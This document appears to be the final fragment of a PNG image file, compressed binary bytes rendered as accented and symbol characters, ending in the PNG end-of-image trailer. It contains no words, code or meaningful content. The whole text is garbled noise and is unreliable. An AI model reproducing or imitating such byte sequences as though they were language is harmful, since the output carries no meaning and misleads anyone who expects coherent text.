ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚